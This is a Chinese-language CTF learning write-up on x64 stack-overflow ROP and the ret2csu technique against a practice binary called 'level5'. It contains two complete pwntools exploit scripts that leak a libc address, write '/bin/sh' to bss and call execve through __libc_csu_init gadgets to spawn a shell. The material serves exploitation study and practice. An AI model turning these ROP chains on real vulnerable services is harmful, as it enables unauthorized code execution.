这部分的内容主要是针对x64的栈溢出ROP,首先回顾一下x86和x64的函数调用区别。
- x86
- 函数参数在函数返回地址的上方
- x64
- System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
- 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
ret2csu
wiki里面的方法
官方的exp略加修改为python3的形式:
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
我的方法
我的方法和wiki大差不差,利用的ROP略有区别
漏洞位置不再赘述,简单的栈溢出,同样可以通过查看gdb得知输入位置和rbp的距离
需要填充0x80个字节,为了能够修改控制函数的执行,首先要能控制rdi和rsi。
使用ROPgadget寻找pop rdi和rsi,发现都是有的
❯ ROPgadget --binary level5 --only 'ret|pop' | grep rdi
0x0000000000400623 : pop rdi ; ret
❯ ROPgadget --binary level5 --only 'ret|pop' | grep rsi
0x0000000000400621 : pop rsi ; pop r15 ; ret
以下是pop指令与各个寄存器的机器码:
pop rax:0x58
pop rbx:0x5B
pop rcx:0x59
pop rdx:0x5A
pop rsi:0x5E
pop rdi:0x5F
pop rbp:0x5D
pop rsp:0x5C
pop r8:0x41 58
pop r9:0x41 59
pop r10:0x41 5A
pop r11:0x41 5B
pop r12:0x41 5C
pop r13:0x41 5D
pop r14:0x41 5E
pop r15:0x41 5F
特别注意到,pop r8到r15这些寄存器的机器码后面一个字节是和前面的寄存器有重合的,所以可以利用这点,有pop r15,就相当于有了pop rdi。
查找libc中函数调用方式:https://elixir.bootlin.com/glibc/glibc-2.35
-
payload1:调用write函数输出write_got的地址,从而泄露libc地址
write(1,write_got),返回main函数
-
payload2:调用read函数将execve_addr和’/bin/sh\x00’写入bss段
read(0,bss_base)返回main函数
-
payload3:一开始是想直接调用execve_addr,执行/bin/sh,但是失败了,因为执行sys_execve时需要rdx为0,没有直接的方法修改rdx,所以使用了类似wiki的方法,具体见下面的exp
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./level5')
level5 = ELF('./level5')
write_got = level5.got['write']
read_plt = level5.plt['read']
write_plt = level5.plt['write']
main_addr = level5.symbols['main']
bss_base = level5.bss()
pop_rdi = 0x0000000000400623
pop_rsi_pop_r15 = 0x0000000000400621
payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# gdb.attach(sh)
sh.recvuntil(b'Hello, World\n')
sh.send(payload)
write_addr = u64(sh.recv(8))
log.success('write_addr ' + hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
sh.recvuntil(b'Hello, World\n')
payload= b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_r15) + p64(bss_base) + p64(0) + p64(read_plt) + p64(main_addr)
sh.send(payload)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
sh.recvuntil(b'Hello, World\n')
# gdb.attach(sh)
# 不能直接用下面的payload,因为执行execve时,进行系统调用时需要rdx为0,我们没有办法控制rdx,经测试此时rdx为0x200,导致execve失败
# payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rdi) + p64(bss_base + 8) + p64(pop_rsi_pop_r15) +p64(0) + p64(0) + p64(execve_addr) + p64(main_addr)
# .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54
# .text:0000000000400600 mov rdx, r13
# .text:0000000000400603 mov rsi, r14
# .text:0000000000400606 mov edi, r15d
# .text:0000000000400609 call qword ptr [r12+rbx*8]
# .text:000000000040060D add rbx, 1
# .text:0000000000400611 cmp rbx, rbp
# .text:0000000000400614 jnz short loc_400600
# .text:000000000040061A pop rbx
# .text:000000000040061B pop rbp
# .text:000000000040061C pop r12
# .text:000000000040061E pop r13
# .text:0000000000400620 pop r14
# .text:0000000000400622 pop r15
# .text:0000000000400624 retn
# 利用上面的这些指令,可以先通过修改r13,r14,r15间接修改rdx,rsi,rdi分别为0,0,bss_base
# 然后通过修改rbx和r12,使得0x400609调用的函数设置为bss_base中所指的函数,这样就可以执行execve了
loc_400600 = 0x0000000000400600
pop_rbx_rbp_r12_r13_r14_r15 = 0x000000000040061A
# gdb.attach(sh)
payload = b'a' * 0x80 + b'deadbeef' + p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(bss_base) + p64(0) + p64(0) + p64(bss_base+8) + p64(loc_400600)
# 输出payload的长度
log.success('payload3 length ' + str(len(payload)))
sh.send(payload)
sh.interactive()
花了一下午时间,也算是有点收获吧~
总的来说,wiki提供了一种通用解法,可以方便的修改多个寄存器,有时候为了快捷,可以优先考虑ret2csu!